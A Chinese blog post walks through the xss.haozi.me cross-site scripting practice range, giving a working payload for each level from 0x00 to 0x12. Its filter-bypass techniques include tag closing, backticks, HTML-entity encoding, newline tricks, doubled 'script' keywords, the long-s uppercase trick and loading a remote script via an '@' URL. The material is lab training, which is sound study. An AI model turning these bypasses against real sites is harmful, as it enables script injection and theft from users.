xss.haozi教程-史上最全详解

1 篇文章 0 订阅

目录

0x00

0x01

0x02

0x03 反引号替代括号

0x04 编码绕过

0x06 换行绕过

0x08 换行绕过

0x09

0x0A 引入漏洞页面

0x0B 编码绕过

0x0C 双写绕过

0x0D

0x0E 特殊符号绕过

0x0F

0x10

0x11

0x00

<script>alert(1)</script>

0x01

先尝试<script>alert(1)</script>

 前后都闭合标签即可

</textarea><script>alert(1)</script><textarea>

0x02

先尝试<script>alert(1)</script>

闭合

"><script>alert(1)</script>

或者先"闭合,鼠标再移到框中

"οnmοuseοver="alert(1)

0x03 反引号替代括号

先尝试<script>alert(1)</script>

发现过滤了()

`替代括号

<script>alert`1`</script>

0x04 编码绕过

本题过滤了()和`

使用实体编码的方式绕过

首先需要加一个svg标签,代表要解码后面的编码值

将(1)用ascii编码转unicode

在线Unicode编码转换工具(ES JSON在线工具)

<svg><script>alert&#40;1&#41;</script>

0x05

尝试<script>alert(1)</script>

发现被注释掉了

html注释

<!--这是单行注释-->

<!--

        这是多行注释

        这是多行注释

-->

我们尝试闭合注释

结合源码,发现-->会被替换成表情

因此用--!>来闭合

--!><script>alert(1)</script>

0x06 换行绕过

过滤了以auto/on开头,以=结尾的字符串,并且忽略大小写

可以利用换行绕过正则

直接将等于换第二行,=前面就是空的,同时不影响第一行内容的执行

onmousemove

=alert(1)

0x07 单标签

尝试<script>alert(1)</script>

以为是闭合标签

本题过滤了尖括号之间的内容,忽略大小写

利用浏览器的兼容性,右尖括号可以不用写

<body οnlοad="alert(1)"

0x08 换行绕过

尝试<script>alert(1)</script>

尝试闭合标签

发现本题将替换为/* 坏人 */

利用换行绕过

0x09

本题要求我们必须输入指定的网址

可以先闭合script标签,然后注释掉后面

https://www.segmentfault.com"></script><script>alert(1)</script>//


也可以
http://www.segmentfault.com"></script><img src=x οnerrοr="alert(1)
http://www.segmentfault.com"></script><body οnlοad="alert(1)"

 

0x0A 引入漏洞页面

要求包含网址和上题一样,还将常用符号转换成了编码形式

以@前的字符串作为用户名,来访问@后面的网址

https://www.segmentfault.com@xss.haozi.me/j.js

这里把www.segmentfault.com当成了登录后面网址的用户名

xss.haozi.me/j.js文件内存放着alert(1);

0x0B 编码绕过

发现将所有输入转换为大写输出

html不区分大小写,而js区分大小写

构造html代码:

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

或者实体编码绕过

将alert(1)进行HTML实体字符转换

在线Unicode编码转换工具(ES JSON在线工具)

<img src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0C 双写绕过

在0x0B基础上过滤了script

利用双写绕过

<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

或者
<img src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0D

发现输入全在注释内,还过滤了< / " '

//为单行注释,换行可以绕过

利用换行绕过注释,再用–>忽略后面的引号和括号

0x0E 特殊符号绕过

尝试

特殊符号绕过,ſ 经过toUpperCase函数会变成S

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>


<ſcript src="https://xss.haozi.me/j.js" ></script>

0x0F

属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处

先闭合console.error,再添加alert

');alert(1);//

0x10

可以先闭合给data赋值,然后alert(1)

1;alert(1)

也可以直接alert(1)

0x11

"被替换为\\"

但仍然可以闭合了前面的"

然后执行alert(1)语句,并用//注释后面的语句

所以此处的过滤也是毫无用处

");alert(1)//

0x12

")</script><script>alert(1)</script><!--

由于浏览器的容错性可以简写

</script>
<script>alert(1)</script>


xss.haozi 思路总结 0x00-0x12_图南yukino的博客-CSDN博客

xss靶场练习之xss.haozi.me解析及答案_钟情妺喜107的博客-CSDN博客

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值